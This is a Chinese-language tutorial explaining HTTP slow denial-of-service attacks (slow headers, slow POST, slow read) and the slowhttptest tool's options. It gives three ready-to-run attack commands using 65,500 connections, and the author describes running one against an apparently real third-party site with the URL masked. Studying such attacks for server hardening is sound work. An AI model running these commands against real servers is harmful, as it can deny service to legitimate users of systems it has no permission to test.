HTTP慢速拒絕服務攻擊簡介
HTTP慢速攻擊是利用HTTP合法機制,以極低的速度往服務器發送HTTP請求,盡量長時間保持連接,不釋放,若是達到了Web Server對於並發連接數的上限,同時惡意占用的連接沒有被釋放,那么服務器端將無法接受新的請求,導致拒絕服務。
HTTP慢速攻擊原理(摘抄自傾旋師傅的博客:https://payloads.online/archivers/2018-04-16/2)
既然是一個HTTP協議的緩慢攻擊,這就要從HTTP協議說起了。
首先HTTP協議的報文都是一行一行的,類似於:
GET / HTTP/1.1\r\n
Host : payloads.online\r\n
Connection: keep-alive\r\n
Keep-Alive: 900\r\n
Content-Length: 100000000\r\n
Content_Type: application/x-www-form-urlencoded\r\n
Accept: *.*\r\n
\r\n
那么報文中的\r\n
是什么?
\r\n
代表一行報文的結束也被稱為空行(CRLF),而\r\n\r\n
代表整個報文的結束
從上面貼出的GET
請求包可以看出,我們的客戶端請求到服務器后,告知服務器這個連接需要保留。
通常我們知道HTTP協議采用“請求-應答”模式,當使用普通模式,即非KeepAlive模式時,每個請求/應答客戶和服務器都要新建一個連接,完成之后立即斷開連接(HTTP協議為無連接的協議)
;當使用Keep-Alive模式(又稱持久連接、連接重用)
時,Keep-Alive功能使客戶端到服 務器端的連接持續有效,當出現對服務器的后繼請求時,Keep-Alive功能避免了建立或者重新建立連接。
那么當我們客戶端發送一個報文,不以CRLF
結尾,而是10s發送一行報文,我們的報文需要80s才能發送完畢,這80s內,服務器需要一直等待客戶端的CRLF,然后才能解析這個報文。
如果客戶端使用更多的程序發送這樣的報文,那么服務器端會給客戶端留出更多的資源來處理、等待這遲遲不傳完的報文。假設服務器端的客戶端最大連接數是100個,我們使用測試程序先連接上100次服務器端,並且報文中啟用Keep-Alive,那么其他正常用戶101、102就無法正常訪問網站了。
簡單來說,就是我們每次只發一行,每次發送之間的間隔時間很長,這遲遲未發送結束的HTTP包會占用服務端的資源,當達到服務端處理請求的上限時,這時候再用戶對網站正常請求,服務端也處理不了了,導致了拒絕服務。
HTTP慢速攻擊分類
HTTP慢速攻擊分為三類:
-
Slow headers
-
Slow body
-
Slow read
1,Slow headers
第一類是最經典的HTTP Slow慢速攻擊,由rsnake發明的,原理在上面已介紹。
2,Slow body
第二類也叫做Slow HTTP POST
原理為在POST提交方式中,允許在HTTP的頭中聲明content-length,即POST內容的長度。
提交了惡意頭之后,將需要傳輸的body緩慢進行發送,跟Slow headers類似,導致服務器端長時間等待需要傳輸的POST數據,當請求的數量變多后,達到了消耗服務器資源的效果,導致服務器宕機。
3,Slow Read attack
第三類攻擊方式采用調整TCP協議中滑動窗口大小,來對服務器單次發送的數據大小進行控制,使得服務器需要對一個相應包分為很多個包來發送,想要使這種攻擊效果明顯,請求的資源要盡量大,這里很容易理解,當請求的資源越大,返回包才越大,這樣才能分成更多的包讓服務器發送,導致拒絕服務的產生。
也就是說,客戶端以極低的速度來讀取返回包,來消耗服務器的連接和內存資源。
HTTP慢速攻擊實戰
一般使用slowhttptest工具(安裝方式很多,不再贅述)
工具簡介
SlowHTTPTest是一個可配置的應用層拒絕服務攻擊測試工具,它可以工作在Linux,OSX和Cygwin環境以及Windows命令行接口,可以幫助安全測試人員檢驗服務器對慢速攻擊的處理能力。
這個工具可以模擬低帶寬耗費下的DoS攻擊,比如慢速攻擊,慢速HTTP POST,通過並發連接池進行的慢速讀攻擊(基於TCP持久時間)等。慢速攻擊基於HTTP協議,通過精心的設計和構造,這種特殊的請求包會造成服務器延時,而當服務器負載能力消耗過大即會導致拒絕服務。
使用參數介紹
測試模式:
-H slow header,slowloris默認采用此模式
-B slow body
-R 遠程攻擊又名Apache killer
-X slow read
報告選項:
-g 生成具有套接字狀態更改的統計信息(默認關閉)
-o file_prefix 將統計信息輸出保存在file.html和file.csv中(需要-g)
-v level 日志信息,詳細級別0-4:致命,信息,錯誤,警告,調試
常規選項:
-c connections 連接目標連接數(50)
-i seconds 后續數據之間的間隔(以秒為單位)(10)
-l seconds 測試目標時間長度,以秒為單位(240)
-r rate 每秒連接數(50)
-s 如果需要,Content-Length標頭的值(4096)
-t 在請求中使用的動詞,對於slow header和response,默認為GET;對於slow body,默認為POST
-u URL 目標的絕對URL(http://localhost/)
-x 在slowloris and Slow POST tests模式中,指定發送的最大數據長度
-f Content-Type標頭的值(application/x-www-form-urlencoded)
-m 接受(Accept)標頭的值(text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5)
探測/代理選項:
-d host:port 為所有連接指定代理
-e host:port 為探測連接指定代理
-p seconds 指定等待時間來確認DoS攻擊已經成功
range attack特定選項:
-a 標頭中的起始位置
-b 標頭中的結束位置
slow read特定選項:
-k 在連接中重復相同請求的次數。如果服務器支持永久連接,則用於成倍增加響應大小。
-n 從recv緩沖區讀取操作之間的時間間隔,以秒為單位(1)
-w slow read模式中指定tcp窗口范圍下限
-y slow read模式中指定tcp窗口范圍上限
-z 在每次的read中,從buffer中讀取數據量
對於三種類型的慢速攻擊,分別給出payload:(摘抄的!)
Slow Header
slowhttptest -c 65500 -H -i 10 -r 200 -s 8192 -t SLOWHEADER -u http://vulurl.com
該攻擊會像我們剛才講的慢速傳遞HTTP報文,占用服務器資源讓其等待我們最后的CRLF。
Slow Read
slowhttptest -c 65500 -X -r 1000 -w 10 -y 20 -t SLOWREAD -n 5 -z 32 -u http://vulurl.com
該攻擊會在Web服務器響應內容傳輸回來的時候,我們客戶端緩慢的讀取響應報文,這樣服務器端也會一直等待客戶端來接收完畢。
Slow Post
slowhttptest -c 65500 -B -i 10 -r 200 -s 8192 -t SLOWBODY -u http://vulurl.com
該攻擊會構造一個POST數據包,將數據緩慢傳輸,使服務器端一直等待接收報文。
找一個存在漏洞的網址進行檢測:
使用Slow Post的payload:(漏洞網址已高碼)
slowhttptest -c 65500 -B -i 10 -r 200 -s 8192 -t SLOWBODY -u https://xxxxxx
當顯示為NO,則表示存在HTTP慢速攻擊漏洞,可導致拒絕服務。
參考鏈接: